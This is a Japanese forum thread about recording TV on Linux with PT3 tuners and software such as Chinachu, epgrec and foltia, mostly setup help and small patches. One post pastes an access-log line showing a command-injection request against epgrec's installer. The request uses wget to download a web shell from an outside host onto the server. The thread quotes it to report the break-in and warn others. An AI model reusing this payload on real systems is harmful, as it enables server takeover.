【視聴・録画】Linuxでテレビ総合9【デジタル/アナログ】
レス数が950を超えています。1000を超えると書き込みができなくなります。
0001login:Penguin
2014/01/05(日) 14:43:09.35ID:Nliy8HmL【関連スレ】
【自家製】MythTV Part.3【HDDビデオ】
http://engawa.2ch.net/test/read.cgi/linux/1223721998/
【BT878】Linuxでのキャプチャを語るスレ
http://engawa.2ch.net/test/read.cgi/linux/1017186805/
【前スレ】
【視聴・録画】Linuxでテレビ総合8【デジタル/アナログ】
http://engawa.2ch.net/test/read.cgi/linux/1359268284/
【過去スレ】
【視聴・録画】Linuxでテレビ総合7【デジタル/アナログ】
http://engawa.2ch.net/test/read.cgi/linux/1342343650/
【視聴・録画】Linuxでテレビ総合6【デジタル/アナログ】
http://engawa.2ch.net/test/read.cgi/linux/1326804531/
【視聴・録画】Linuxでテレビ総合5【デジタル/アナログ】
http://engawa.2ch.net/test/read.cgi/linux/1309182037/
【視聴・録画】Linuxでテレビ総合4【デジタル/アナログ】
http://hibari.2ch.net/test/read.cgi/linux/1293388638/
【視聴・録画】Linuxでテレビ総合3【デジタル/アナログ】
http://hibari.2ch.net/test/read.cgi/linux/1269999876/
【視聴・録画】Linuxでテレビ総合2【デジタル/アナログ】
http://pc11.2ch.net/test/read.cgi/linux/1253880711/
【視聴・録画】Linuxでテレビ総合【デジタル/アナログ】
http://pc11.2ch.net/test/read.cgi/linux/1231189481/
Linuxでテレビを見る
http://pc11.2ch.net/test/read.cgi/linux/1013649811/
0002login:Penguin
2014/01/05(日) 17:04:17.91ID:wL0uVB1N0003login:Penguin
2014/01/06(月) 22:16:25.20ID:XGM+a2iMPT1 driver
http://hg.honeyplanet.jp/pt1/
http://hg.honeyplanet.jp/pt1.oyama/
http://sourceforge.jp/projects/pt1dvr/
v4l-dvb (pt1 driver dvb)
http://www.linuxtv.org/hg/v4l-dvb
Linux用DVBアプリ集、等々(閉鎖)
http://2sen.dip.jp/dtv/
ミラー?
http://www3.wazoku.net/2sen/
2sen関連はこちらでどうぞ
【閉鎖】2sen補完計画【逃げ出した後】
http://toro.2ch.net/test/read.cgi/avi/1341202581/
2senの代わりを・・・
http://toro.2ch.net/test/read.cgi/avi/1340518755/
epgrec
http://www.mda.or.jp/epgrec/
http://sourceforge.jp/projects/epgrec/
foltia
http://www.dcc-jpl.com/soft/foltia/
rec10
http://www.rec10.org/xoops/
torec
https://github.com/k-k1/torec/
Chinachu
http://akkar.in/projects/chinachu/
https://github.com/kanreisa/Chinachu/
0004login:Penguin
2014/01/06(月) 22:53:28.42ID:YLMNViP5https://github.com/m-tsudo/pt3
0005login:Penguin
2014/01/06(月) 23:53:00.01ID:3XX4RO8SFoltiaをインストールしたPCのCPUが推奨より低いのが原因なのかもしれないのですが、
ライブ配信を視聴した場合のみ、動画がカクツキます。
推奨以上のCPUをお使いの方でも、このような症状は出ていますでしょうか?
なお、カクツキはビットレートに関係なく発生しています。
また、再生側のPCは高性能なグラフィックスカードを使っているので、再生側の問題ではないと思います。
0006login:Penguin
2014/01/07(火) 03:42:38.99ID:i72D8FNHhttps://github.com/kanreisa/Chinachu/pull/74
よさそう?
0007login:Penguin
2014/01/07(火) 06:58:18.13ID:RqUT09u+それ以外は良いんだけど
0008login:Penguin
2014/01/07(火) 07:37:47.79ID:7iKxMtgJもうすぐ新聞欄っぽくなるってコミケでいってたよ
海外の形式にあわせてたんだとさ
0009login:Penguin
2014/01/07(火) 21:01:02.56ID:i72D8FNH0010login:Penguin
2014/01/07(火) 21:20:19.35ID:VhqpS2YZMediatombに関するスレが見つからなかったので、識者が多そうな
ここに書き込ませていただきます。
適切な場所があれば、誘導頂けると幸いです。
Mediatombが最近になって、起動後何分か経つとDLNAクライアントから
認識されなくなります。
サービスの再起動を行うと一時的に治るのですが。。。
何か思い当たることはありませんでしょうか。。
ログなど見ても特にエラーもなくて困っております。
0011login:Penguin
2014/01/07(火) 22:24:49.93ID:G+B7A32Sプロセスがファイルを開いてるかどうかの情報をどうやってlock代わりにするのかイマイチ謎なのだが
0012login:Penguin
2014/01/07(火) 22:31:12.92ID:G+B7A32Soperator起動時にそのPIDがシステムに存在しなければ安全に(=自動的に)そのlockファイルを消せるから
0013login:Penguin
2014/01/08(水) 00:12:40.54ID:cgl+6B/Q自己レスですが、いろいろ調べた結果、カードリーダー読み込みの遅さがカクカクに影響しているようでした。
カードリーダを交換したところ、カクカクがだいぶ改善されました。
CPUの遅さも影響しているものと思います。
(perlで書かれているsegmenterというプログラムのパフォーマンスが悪い可能性もあるような)
その他に、環境の問題かもしれないですが、ライブ配信に失敗することが多々ありました。
原因を調べると、recpt1とffmpegとの間のFIFOにデータが書き込まれる前に、ffmpegが動き出すことがあることが原因でした。
/home/foltia/perl/live_process_starter.pl
の200行目に付近に以下の用のようにsleepを入れると安定するようです。
同じ症状の方の参考になれば。
#srcflagがfileだったらpgrep tailしてDB追加
if ($srcflag eq "file"){
- sleep (2);#起動待ち
+ sleep (3);#起動待ち
.....
+ sleep(1);
exec($ff_segmenter_execcmd);
001412
2014/01/08(水) 00:21:39.80ID:cgl+6B/Qすいません、一点修正です。
segmenterは、perlではなくバイナリでした。
0015login:Penguin
2014/01/08(水) 00:57:01.92ID:nM1ah1Qm0016login:Penguin
2014/01/08(水) 01:50:08.81ID:EVb8G25N例えば /dev/pt3video2 開いてる奴いたら、それ使って録画/ライブ視聴したら
マズそうっての分かりそうだけどダメかね。
Chinachu 以外に使ってるヤツいる場合にも対応できるし。
lock ファイル残る問題は >>12 やり方のほうが改変少なくて良さそうだけど。
0017login:Penguin
2014/01/08(水) 07:51:46.14ID:op/x5jfx0018login:Penguin
2014/01/08(水) 15:18:50.72ID:wE2BBIfRChinachuは専用の実行ユーザを作るのが(たぶん)推奨されてるので
その情報はチューナの実行ユーザが違うだけで取れないからキツイと思う
デバイス名は流動的だし、必ずしもデバイスファイルを経由する作りとも限らんし(共有メモリetc)
0019login:Penguin
2014/01/08(水) 20:42:29.82ID:wE2BBIfRどこからこの機能呼び出すんだろうって思ったらそこかー…てなった
機能的にはかなり良い
0020login:Penguin
2014/01/08(水) 21:24:54.80ID:EVb8G25Nたしかにそのとおりだ。全然ダメだ。
0021login:Penguin
2014/01/09(木) 08:00:57.79ID:7yUYpCp/というか、何のためにグループがあるのかとw
0022login:Penguin
2014/01/09(木) 09:08:33.11ID:hxuaDYvF普通デーモンと一般ユーザは同じグループに置かんです
さらに /proc/{pid}/fd/ は500なので置こうが置くまいが取れんです
0023login:Penguin
2014/01/09(木) 12:53:41.10ID:oS3R4CNWみたいのはうまくいかないのかな
グループはサーバにもユーザにも共通のグループをそれぞれ追加すればいいと思うけど (videoみたいな)
0024login:Penguin
2014/01/09(木) 21:13:08.64ID:hxuaDYvF同じこと。rootとそれ以外のユーザで`fuser /`でもしてみれば分かる
プロセスが特定のファイルを開くタイミングを公開したらクラックのための良いヒントを与えちゃう訳で
多分どうやったって取得できない
0025login:Penguin
2014/01/09(木) 23:22:32.95ID:R4+wlVID失敗すれば、既に誰かが開いていると思う、っていうんじゃ駄目なんだっけ?
0026login:Penguin
2014/01/09(木) 23:33:49.50ID:R4+wlVIDまあ、結局、パーミッションの問題があるか。
lsofコマンドだけはノンパスでsudoできるように設定させるとか。
$ sudo lsof /dev/pt3video*
それも嫌であれば、PT3のドライバに10行くらい書き足せば、
sysfs経由で既にデバイスがオープン済みかどうかを公開できそう。
いちおう、PT3のドライバを見る限り、多重オープンされた場合には、
後からオープンした方は失敗するようになっているみたいだけれど。
0027login:Penguin
2014/01/10(金) 03:00:07.48ID:cHyNmCIZ0028login:Penguin
2014/01/10(金) 08:46:15.74ID:CKrvo/EQとか言ってみるw
0029login:Penguin
2014/01/10(金) 09:27:03.43ID:NccUa54l0030login:Penguin
2014/01/10(金) 09:55:55.90ID:CKrvo/EQ0031login:Penguin
2014/01/10(金) 10:59:35.94ID:b7PTZOIz"チューナプロセスの標準出力を使う"っていうシンプルな形になってるのに
チューナプロセスが使うデバイスを確認するなんていう工程を入れようとするのはそもそも筋が悪い
0032login:Penguin
2014/01/10(金) 20:48:23.84ID:oYgup2LA今日の例で言うと
タイトル:金曜ロードSHOW!
説明:ブルース・ウィリス演じる“世界で一番運が悪くて一番タフな男”マクレーン警部補が登場!サイバー・テロVSアナログ刑事が繰り広げる痛快ノンストップ・アクション大作。
でこの映画のタイトルは?となっている
0033login:Penguin
2014/01/10(金) 21:31:11.52ID:2kGOq0c5ちょっとワロタ
https://github.com/kanreisa/Chinachu/blob/master/app-scheduler.js#L288-295
ここでサブタイトルとして抽出されてしまってるんかね。
このクソみたいな EPG 滅びて欲しいですね。
0034login:Penguin
2014/01/10(金) 21:49:12.00ID:YUVdEZLb0035login:Penguin
2014/01/10(金) 22:04:19.91ID:2kGOq0c5"subTitle": "ダイ・ハード4.0",
"fullTitle": "金曜ロードSHOW! 「ダイ・ハード4.0」【二】【字】【デ】",
ってなってた。どうするんだろ。
>>34
もちろん、直接的には放送局がタイトルのフォーマットを統一しないせいで、
app-scheduler.js みたいな悪夢のような置換・抽出処理が必要になってるんだけど、
大元はEPGの規格がショボイせいじゃないかなぁって思ってる。
エピソード番号やサブタイトル、新/二/字/デ/再フラグを構造的に
持っていてくれたら良かったのにって思う。
それでも放送局が妙な運用する可能性はあるんだろうけど。
0036login:Penguin
2014/01/10(金) 22:46:22.93ID:q1Q3oZCY言ってた人が居た気がするんだけど、成果でてるのだろうか。
特に無いなら、作ってみようかなぁと妄想中。
0037login:Penguin
2014/01/11(土) 11:54:49.14ID:scTTvrJ00038login:Penguin
2014/01/11(土) 13:29:29.13ID:mpThlGz/もう本家にマージ済みだよ
pulseaudioにも対応が必要だから最新版が必要だけど
0039login:Penguin
2014/01/13(月) 01:50:20.80ID:HJ4V0De5https://github.com/0p1pp1
descramble機能は外部ライブラリに出してあります
mplayerは字幕対応, gstreamerは1.2系への移植が中心です
0040login:Penguin
2014/01/13(月) 11:21:44.11ID:+Y9WGtps004113
2014/01/14(火) 22:40:19.02ID:iuCZBQPAここにメモしておきます。
1.放送波が正しく取得できないチャンネルをライブストリーミングした後に、
ストリーミングを停止しようとしても、recpt1が停止できない。
(表示上は停止したように見えるが、実際にはrecpt1がチューナーを占有したままになる)
stoplivestreamingkill()内を以下のように修正
- system("kill $processid");
+ system("kill -KILL $processid");
2.ライブストリーミングにコーミングノイズが乗る
perl/live_process_starter.pl内
$ffmpegcmdが10個書かれているので、"-deinterlace"をそれぞれに追加する。
0042login:Penguin
2014/01/15(水) 23:56:27.92ID:uhNoED7z0043login:Penguin
2014/01/16(木) 12:32:49.26ID:j9cSF3xR元のソースは全然見てないけど、何でsystem()経由でkill呼んでんだろな?
直接kill()叩けば良さそうなのに。
0044login:Penguin
2014/01/16(木) 18:26:03.31ID:+76kzaoL0045login:Penguin
2014/01/16(木) 20:45:36.60ID:TMxEKoMuパスワード認証もかけてたんだけどどこから入ったんだろう…。
0046login:Penguin
2014/01/16(木) 21:00:58.77ID:TMxEKoMu87.181.247.107 - - [12/Jan/2014:17:51:44 +0900] "GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol HTTP/1.1" 200 148
"-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
0047login:Penguin
2014/01/16(木) 21:39:44.78ID:6RzBiSOm何でだろうね?
正直、特に理由はない気がする。
Foltiaのコードは、難読処理かと疑うほどグチャグチャだからなぁ。
似たようなコードや定義がたくさんあったり。
良くあれで、システム全体として破綻せずに動いていると感動する。
0048login:Penguin
2014/01/16(木) 22:04:42.21ID:YCJMj0m9Perlならしかたない
0049login:Penguin
2014/01/17(金) 05:48:54.17ID:R+FZTsYfもしかしてアニメのts確保するために乗っ取ってるのかな?
0050login:Penguin
2014/01/17(金) 11:54:50.10ID:SLEIzD9yちょw 入力のsanitizeせずにそのまま実行してるのか
それになんでlocalhostからの接続だけに制限してSSHトンネルでつながないんだ?
0051login:Penguin
2014/01/17(金) 20:28:35.23ID:zaHlRndY0052login:Penguin
2014/01/17(金) 22:37:40.94ID:dUWADpoD0053login:Penguin
2014/01/17(金) 23:55:54.27ID:TeEJ/D2z誰かが推測ぐらいしなかったの?
0054login:Penguin
2014/01/18(土) 00:17:07.43ID:NhIdSgfQ本家の方は別の所に穴がある
0055login:Penguin
2014/01/18(土) 00:28:23.44ID:qAc8fKwR【速報】torrentアニメのtsファイルの出元が判明
http://engawa.2ch.net/test/read.cgi/poverty/1389955316/
0056login:Penguin
2014/01/18(土) 00:49:31.64ID:95/a8dAXこの手の脆弱性は塞ぐべきだとは思うけど、それ以前に外に出てる時点でアウトだからなあ
0057login:Penguin
2014/01/18(土) 00:59:58.90ID:CCo7xX3k>>46の書き込みから2時間で修正されたw
0058login:Penguin
2014/01/18(土) 04:08:57.26ID:NW62jkPbhttp://transitive.info/2012/10/22/ubuntu-pt3-epgrec/
を読んで、Ubuntu 12.04TLS+PT3で録画サーバを構築したのですが、
EPGrecのCS(フジテレビNEXT等)のEPGデータが取得出来ません。
これはどうすれば解消しますか?
0059login:Penguin
2014/01/18(土) 06:36:10.89ID:uFIdaF9oepgrec派生版のどれかとそれに対応したepgdump等を導入し直す
config.phpとepgdumpのソースを直してもいいけど面倒
0060login:Penguin
2014/01/18(土) 08:10:31.82ID:TuTjURbUドライバ、LNBの通電設定を変更しないでいきなりmakeしてるけど、デフォで通電なの?
0061login:Penguin
2014/01/18(土) 16:31:47.21ID:uFIdaF9o混合線でブースターが供給してたり
0062login:Penguin
2014/01/18(土) 16:48:08.99ID:yxpY1Oor0063login:Penguin
2014/01/18(土) 18:18:45.08ID:TuTjURbU言うまでもないと思ったんだけど。
0064login:Penguin
2014/01/18(土) 21:48:50.74ID:UbK5f+zjアンテナに繋がっている機械のどれかが
通電していれば受信できるよ。
もちろんテレビでもビデオでもなんでいい
それがマンションとかの共同アンテナであれば
自分の家の誰かが通電していればいい。
というか共同アンテナの場合は専用の機械が電気を供給しているが。
これこそ、意味までもないと思ったんだけど、
知らなかったんでしょ?
006558
2014/01/20(月) 20:44:28.59ID:6DK7l9bo(地デジ/CSは取れる)
不思議です。元祖epgrecにパッチを当てる場合、
どこにどう修正すれば良いのか教えてください。
0066login:Penguin
2014/01/21(火) 10:40:43.93ID:w8mVfZK4/egrec/video/ への単発アクセスが来たんだけど
>>46 の影響だろうか
みんなも気を付けて
0067login:Penguin
2014/01/21(火) 11:50:00.87ID:zyBuA5AI0068login:Penguin
2014/01/21(火) 16:34:14.81ID:KzdAegN3500 Internal Server Error
つながらない
0069login:Penguin
2014/01/25(土) 08:44:08.78ID:JLtcG7D4PT3 + ANIME LOCKER 3.0をプラスして録画専用機を構築検討していますがスペック的問題とかデメリットとかあるでしょうか?
エンコは外部のメイン使用のPCで行うこと前提で考えているので基本録画オンリーですがご意見よろしくお願いします。
0070login:Penguin
2014/01/25(土) 08:57:10.91ID:ewPuFLtxバックグラウンドでエンコも任せて良いくらい
0071login:Penguin
2014/01/25(土) 09:10:55.20ID:K6o7/7LL30GBってことは古いお下がりなんだろうけど、ANIMEROCKER(以下AL)って起動はHDDでもそんなに重くないし。
まぁ、先ずは評価版入れて試してみれ。
チューナー笹ってなくともインスコはできるでな。
エンコまで任せるとちと辛いんじゃなかと?
録画オンリーなら問題ないけども。
0072login:Penguin
2014/01/25(土) 10:57:16.69ID:JLtcG7D4参考意見有難うございます。実は現状はメイン使用PCにアキバストックのAKB-PCR20X/ブルドッグ・チューナーを使っているのですが
NM70I-847の方が遊んでるので使い道を模索しててブルドックチューナーよりよりメジャーで高機能なPT3が良いかなった思ったのがきっかけでした。
評価版試して良さそうなら導入したいと思います。
0073login:Penguin
2014/01/25(土) 16:27:19.61ID:lr9j2vN4残りはLVMにぶち込まれてしまう
SSDの残りの部分を手動でlvmから削除するオペレーションが必要だよ
0074login:Penguin
2014/01/25(土) 17:34:23.41ID:JLtcG7D4いまいち良くわからないのですが、方法は簡単ですか?
それともSSD抜きにして1TB HDDにシステムと録画領域をまとめた方が楽ですか?
0075login:Penguin
2014/01/25(土) 18:11:50.94ID:K6o7/7LL適当にまとめると
「SSD入れても特に快適になる訳でもない上に、SSD上にも録画領域が作られて邪魔くさい。」
なので、SSD上の録画領域のパーティションを使わず、録画はSSDだけにまとめるといい。
もしくは、最初からHDD1台構成でやる方が楽。
一応ALの設定上に、録画パーティションを設定する項目があるんだが、HDD追加して/dev/sdb1ってな具合で設定して見たら、パーティション情報おかしくなって起動しなくなった。
なお、環境をVirtualBoxで試したので、それのせいかもしんない。
0076login:Penguin
2014/01/25(土) 22:29:05.39ID:zVA12iY3HDD一台でやるなら、注意が必要。
0077login:Penguin
2014/01/25(土) 23:09:23.50ID:JLtcG7D4丁寧な解説と情報感謝します。
SSD抜きにしてHDDオンリーの構成で行くのがベストっぽいですね。取り敢えず初期段階では1TBのHDD1代からスタートなので
後々は増設する形で行きます。
0078login:Penguin
2014/01/26(日) 02:06:09.04ID:hGPyJQ1r0079login:Penguin
2014/01/26(日) 10:12:18.16ID:AVSN5kXQW3PEをLinuxで使いたい俺の如き情弱ならAL使っとけってぐらい。
0080login:Penguin
2014/01/26(日) 19:11:34.10ID:pbaHHkpdだとしたら早く6系使わせてあげろよと思う
0081login:Penguin
2014/01/26(日) 19:29:20.43ID:AVSN5kXQ0082login:Penguin
2014/01/27(月) 00:11:36.10ID:w16bGGNCSTZ版使ってchinachu入れてみたんだけどうまく動いてくれないから本家でやりたいんだけど。。。
0083login:Penguin
2014/01/27(月) 23:10:52.82ID:IIGxyOzQstz版recpt1でchinachu動かせてるけど。
一週間くらい前にUbuntu 12.04.3 LTS鯖でchinachu構築したときに
本家のMercurial落ちてたからstz版使ってるけど問題ない感じ。
arib25が手に入らないってオチ?
0084login:Penguin
2014/01/27(月) 23:30:34.93ID:C8BBGFcN0085login:Penguin
2014/01/27(月) 23:55:25.56ID:6iEdPdvb0086login:Penguin
2014/01/28(火) 00:35:57.27ID:Vqqb9JkL情報ありがとう、STZ版でも問題ないのね。
番組表が取得できない状態なんでチャンネル設定いじくりまわしてるんだけど
どうにもうまくいかなかったからrecpt1疑ってたけど、STZの中の人ごめんなさい。
もうちょっといろいろやってみますわ。
0087login:Penguin
2014/01/28(火) 01:23:26.51ID:fmaEuR5q番組情報を取り出すコマンドなかったっけ?
何か試したことがある気がする。
0088login:Penguin
2014/01/28(火) 02:28:41.50ID:gQCWNFPhこれじゃないニカ?
009083
2014/01/28(火) 08:11:02.66ID:mwKUoJzFhttp://gedit.blog40.fc2.com/blog-entry-109.html
の設定を適用して、
地デジの物理チャンネルは地元用に書き換えた。
0091login:Penguin
2014/01/28(火) 08:35:51.19ID:Q/AAaHhl>>74
lvmからのDisk領域(PV:物理ボリューム)の削除方法
(正確にはVGからのPVの削除方法)
http://itneko.blogspot.jp/2010/08/lvm-vgpv.html
foltiaALの場合は削除対象は /dev/sda2 になると思う
面倒はあるが
システム領域を別Diskにしておくメリットもあって、
録画用Diskを例えば4TBに「入れ替え」る時に
一度4TBのDiskを既存のVGに追加してから
既存Diskを削除することで
取り外しができるようになる
0092login:Penguin
2014/01/28(火) 15:12:23.51ID:i/Chz2Q/肝心のダッシュボードの色がピンクじゃなくて白くなるのは何故だろう?設定いじっちゃった?
0093login:Penguin
2014/01/28(火) 22:11:50.74ID:cON58LIo最新版では変更があった。
番組表やルールがある欄はピンクに、
メイン(予約済みの番組名が表示される)部分は白色に、
右側の録画済み番組名が表示される部分は黒にレイアウト等が変更された。
0094login:Penguin
2014/01/29(水) 08:18:53.12ID:1tk72Hyeepgrecだと大丈夫なのに。。
0095login:Penguin
2014/01/30(木) 00:05:24.74ID:0pS3ovzm半年ぶりのpt3のコミットだ
0096login:Penguin
2014/01/30(木) 09:17:03.22ID:+Tp/VcQn0097login:Penguin
2014/01/30(木) 19:43:26.90ID:7PPlMg03最初のインストール画面が出てこないのです。
インストール先は、/var/www/epgrecと言う普通の構成です。
Apatchとphpは、wwwにおいたindex.htmlとphpファイルは、ブラウザーから見れたので、大丈夫だと思うのですが、http://127.0.0.1/epgrec/を立ち上げでも何も出てこないです。
何か解決策のヒントをいただけないでしょうか。
009896
2014/01/30(木) 20:00:18.25ID:7PPlMg03index.htmlの代わりに置いても、/127.0.0.1/では、見れませんでした。
0099login:Penguin
2014/01/30(木) 20:06:32.00ID:G/f7vJHqApacheの設定
DirectoryIndexにindex.phpを追加
0100login:Penguin
2014/01/30(木) 20:13:48.24ID:drdArhFp0101login:Penguin
2014/01/30(木) 20:36:23.44ID:K02btsnZ0102login:Penguin
2014/01/30(木) 20:55:15.57ID:4ZcVEY3O0103login:Penguin
2014/01/30(木) 21:03:00.30ID:K02btsnZ×index.phpの編集ミス
○config.phpの編集ミス
010496
2014/01/30(木) 21:29:40.29ID:7PPlMg03var.www直下においた確認用のindex.phpは動きました。
しかし、epgrecに置くと直接指定しても反応してないようです。
epgrec下のindex.phpは、配布されているもので特に変更していません。
cofig.phpは、チャンネル設定とTRUEの変更をしただけです。
010597
2014/01/30(木) 21:33:54.79ID:7PPlMg03epgrecのindex.phpをwww直下に置いてみると、fileがないので動きませんが、install/step1.phpにアドレス替わっていました。
010697
2014/01/30(木) 22:30:14.72ID:7PPlMg03御助言していただいた方ありがとうございました
0107login:Penguin
2014/01/31(金) 02:54:32.26ID:hLD936p5昔に比べるとえらく予約衝突がわかりにくくなってるんだな。
0108login:Penguin
2014/01/31(金) 08:08:23.58ID:c4LUabXr予約のやり方が独特すぐて馴染めずにepgrecに戻ろうと思ったけど
せっかくだからUNAにした
0109login:Penguin
2014/01/31(金) 20:34:58.77ID:0PBYiCdE1. recpt1から標準出力を介して、splitでTSを約10MBずつ分割。
2. epgdumpで放送局ごとにEPGデータをためておく。
3. HTTPでクライアント側はEPGを読み、それに対応するTSファイルを落として繋げる。
4. パッチを当てたVLCKit(OSX向けフレームワーク)を利用して再生する。
Macでテレビを見たいが故に、大げさなことになったよ。
遡って番組を見ることも可能だし、リアルタイム視聴もシンプルにできる。
地デジ7/BS5/CS3を常時録画して、ストレージ12TBで3日弱ぐらい。
同じようなことやってる人、いますか (´・ω・`)
0110login:Penguin
2014/01/31(金) 22:43:24.22ID:na8b6Daa大げさすぎるwせっかくだから公開汁。
0111login:Penguin
2014/02/01(土) 00:43:02.10ID:T+lHd1Xk0112login:Penguin
2014/02/01(土) 09:10:31.11ID:Dl7YsylQ0113login:Penguin
2014/02/01(土) 11:03:57.90ID:P9KHltNZおーすごい。
いわゆるタイムシフトってやつだね。
ディスクのIOが足りるのか気になるなぁ。
0114109
2014/02/01(土) 19:54:13.38ID:sk0q5wzdスワップは利用しないよう設定しました。切らないとスラッシングを起こしてload averageが300越えしたので。
/etc/sysctl.confで
・vm.min_free_kbytes
・vm.dirty_ratio
・vm.swappiness
の値を試行錯誤しました。結果、load averageは1分で最悪1.5ほどに落ち着いたかな。
I/Oもなんとか追いついてるみたい。
シェルスクリプトとcronで回しただけのプロトタイプだから、公開するならすべて書き直しだわ。
アナログ時代にソニーのCoCoon(CSV-EX11)を使っていて、それを超えるものを作りたかった (´・ω・`)
0115login:Penguin
2014/02/01(土) 21:54:23.07ID:P9KHltNZ0116login:Penguin
2014/02/01(土) 23:28:14.52ID:5tgaqZqI0117login:Penguin
2014/02/01(土) 23:43:46.51ID:d3dr2fbVうちのCoCoonは何度イラネって教えても機関車トーマスを録画し続ける頭の悪い子だった
0118login:Penguin
2014/02/02(日) 00:17:10.76ID:xlHkEz8yMythTVなら出来るんだろうけど。。。
0119login:Penguin
2014/02/02(日) 02:00:00.14ID:wqU5y5wIメモリが6Gでは厳しくないですか?
X使わないで完全にコンソールだけにして、録画指定や閲覧を別の機械でやるなら別ですが、せめて8G、可能なら16Gと複数のSATAカード。
0120login:Penguin
2014/02/02(日) 02:01:22.15ID:wqU5y5wI今の0.27って、デフォルトでISDBやb25に対応してるんでしょうか?
0121login:Penguin
2014/02/02(日) 12:38:43.03ID:RTDy2sGM0122login:Penguin
2014/02/02(日) 14:06:23.90ID:m5crfpkMでも他をひっくるめても TX100の標準搭載2Gで事足りると思うよ
+4Gは dual channelにするためじゃない?
0123109
2014/02/02(日) 16:37:47.95ID:Vc/fJlI3簡単な指令はCGI経由でも出来るように細工。赤外線リモコン的に。
topとiotopの状況をうpしてみました。
top → http://pc.gban.jp/?p=58203.png
iotop → http://pc.gban.jp/?p=58202.png
recpt1とsplitを1組にしても、実メモリで2MB弱くらいかな。
httpdが出てくるのは、BSプレミアムをリアルタイム視聴しているから。
6GB積んだのは、HDDへの書き込みがブロックされたときの受け皿として考えてました。
自作はやらないのでデュアルチャネルは知らなかったよ。
I/Oは双方向で100MB/sいかないです。SATAの理論値が600MB/sだから余裕あると思う。
0124login:Penguin
2014/02/02(日) 19:12:00.13ID:Nh3ytFx1念のため言っとく
デュアルチャネルはメモリの位置が決まっているからもともと付いてるメモリから1つ空けて増設しないと有効にならないよ
0125login:Penguin
2014/02/07(金) 01:41:49.16ID:Q8NWRqJT0126login:Penguin
2014/02/07(金) 23:01:05.71ID:s6ESi5650127login:Penguin
2014/02/08(土) 00:56:16.77ID:CrqQxodq0128login:Penguin
2014/02/08(土) 10:51:14.45ID:KO4LgFeI0129login:Penguin
2014/02/08(土) 11:21:25.63ID:FjF3FGiPavconvとの差分って何
0130login:Penguin
2014/02/08(土) 13:14:12.56ID:Y2+EZnPPhttp://engawa.2ch.net/test/read.cgi/linux/1339817036/
0131login:Penguin
2014/02/09(日) 03:35:04.74ID:aY18TYtpavconv の -preset をもうちょっといいのにできそうなんだよなー。
yasm の最新も入れるのが必須になっちゃうけど。
0132login:Penguin
2014/02/09(日) 13:41:36.64ID:qTc/AZEnいつ?
0133login:Penguin
2014/02/09(日) 21:45:33.88ID:bI564kSH今日からです。
0134login:Penguin
2014/02/10(月) 02:48:36.85ID:czJY8syy放送波別とかの設定できるようになるのかな
0135login:Penguin
2014/02/10(月) 16:07:42.71ID:IpV5fiCU明らかに無駄ってわかるんだけど、
SQLもepgrecの内部処理もよく知らないから、他のインデックスが消せない
0137login:Penguin
2014/02/11(火) 09:58:48.61ID:egL7n+lY#見てないが。
0138login:Penguin
2014/02/13(木) 00:47:44.53ID:OWFEHq+1番組タイトルや番組説明なんかのテキストデータにBTreeインデックス付けてなんかいいことあんのか。
0139login:Penguin
2014/02/13(木) 02:25:42.25ID:mNmXCNpp0.1秒もかからないことを気にしてどうする?
0140login:Penguin
2014/02/13(木) 04:19:52.04ID:BY6ts/hWお義父さん、ぼくに0.1秒をください!
0141login:Penguin
2014/02/13(木) 04:43:33.77ID:hHB/yirp0142login:Penguin
2014/02/13(木) 04:44:38.87ID:K07wb9hX検証もせずに実際に起きてすらいない可能性でイチャモンつけるとか誰得だよ
番組内容を先頭一致で検索するケースが思い当たらないっていうことじゃないの
0144login:Penguin
2014/02/14(金) 00:46:30.61ID:Uza1DMhE0145login:Penguin
2014/02/17(月) 18:26:16.40ID:g5IJEgf6レジューム後最初に走るatジョブだけ10数分遅れて起動しましたが、こういうことってあるんでしょうか。
ほぼ同時刻に走るEPG取得用のcronは遅れておらず、pt3ドライバが吐くログを見ても
cronジョブがデバイスを使い始めてから10数分遅れで2つ受信機を使うようになっていたので
時計が遅れていたわけではないみたいです。
0146login:Penguin
2014/02/17(月) 21:40:08.68ID:x4xLbro0俺の環境ではサスペンドだと録画すらこけることがあった
0147login:Penguin
2014/02/18(火) 12:32:43.23ID:3dtpVmXQatd -l のデフォルトは0.8みたいだ
0148145
2014/02/18(火) 18:27:56.07ID:VqePyZ1F0149login:Penguin
2014/02/18(火) 19:41:26.60ID:+hnywknP横から失礼
具体的にはどうやるの?
0150145
2014/02/19(水) 18:28:35.09ID:cEyZ7sjXいまのところうまくいってる。
ソースをちょっと見たところどうもatdはsleep(次のジョブの開始時刻-現在時刻)してるみたいだ。
0151login:Penguin
2014/02/19(水) 19:22:45.92ID:EyPpc4oUVLCとかBonDriver_HTTPで接続すると、
getnameinfo(): Temporary failure in name resolution
て出た
/etc/hostsファイルに
見る方のクライアントPCのアドレスとホスト名調べて
192.168.0.1 www.hoge.co.jp
みたいに追加したら解決した
超初心者の自分が苦しんでたところです。
ググっても出ないんで質問する寸前に解決しました。
LAN内での名前解決とかよくわからないです。
0152login:Penguin
2014/02/19(水) 23:17:32.23ID:EyPpc4oUここを参考にCentos6.5 64機にChinachu導入させていただいたんですけど、
クライアント側のPCのIEのアドレスに
http://<サーバのIPアドレス>:10772
入れても接続できません。
また
サーバ側でFirefoxで
http://127.0.0.1:10772
でも接続できないです。
サーバのファイアーウォールで10772のtcpとudp、www80/tcpを許可しても、
SELinux切ってもダメでした。
何か情報ご存じのかたいらっしゃらないでしょうか。
Apacheはインストールしてません。
必要でしょうか。
0153login:Penguin
2014/02/20(木) 07:59:27.07ID:lUj9R7ni接続できないというのをもう少し詳しく。IEやfirefoxに表示されるメッセージは?
あとちゃんとサービスは起動してる? コマンドラインで
$ ps aux | grep chinachu
して、chinachu-operatorとchinachu-wuiがあるか確認するといい
0154Penguin
2014/02/20(木) 09:50:05.66ID:wz2W7nUx俺がハマったのと同じ原因なら、IPv6を有効にするか、config.jsonの
"wuiHost" : "::",
の"::"はIPv6の表記だから
"wuiHost" : "0.0.0.0",
に変更すればいいはず。
0155152
2014/02/20(木) 12:08:04.52ID:GZ2YG9Oc>>154
返信ありがとうございます。
おっしゃる通りサービスが起動してませんでした。
$ sudo service chinachu-operator start
として、
Starting chinachu-operator: OK.
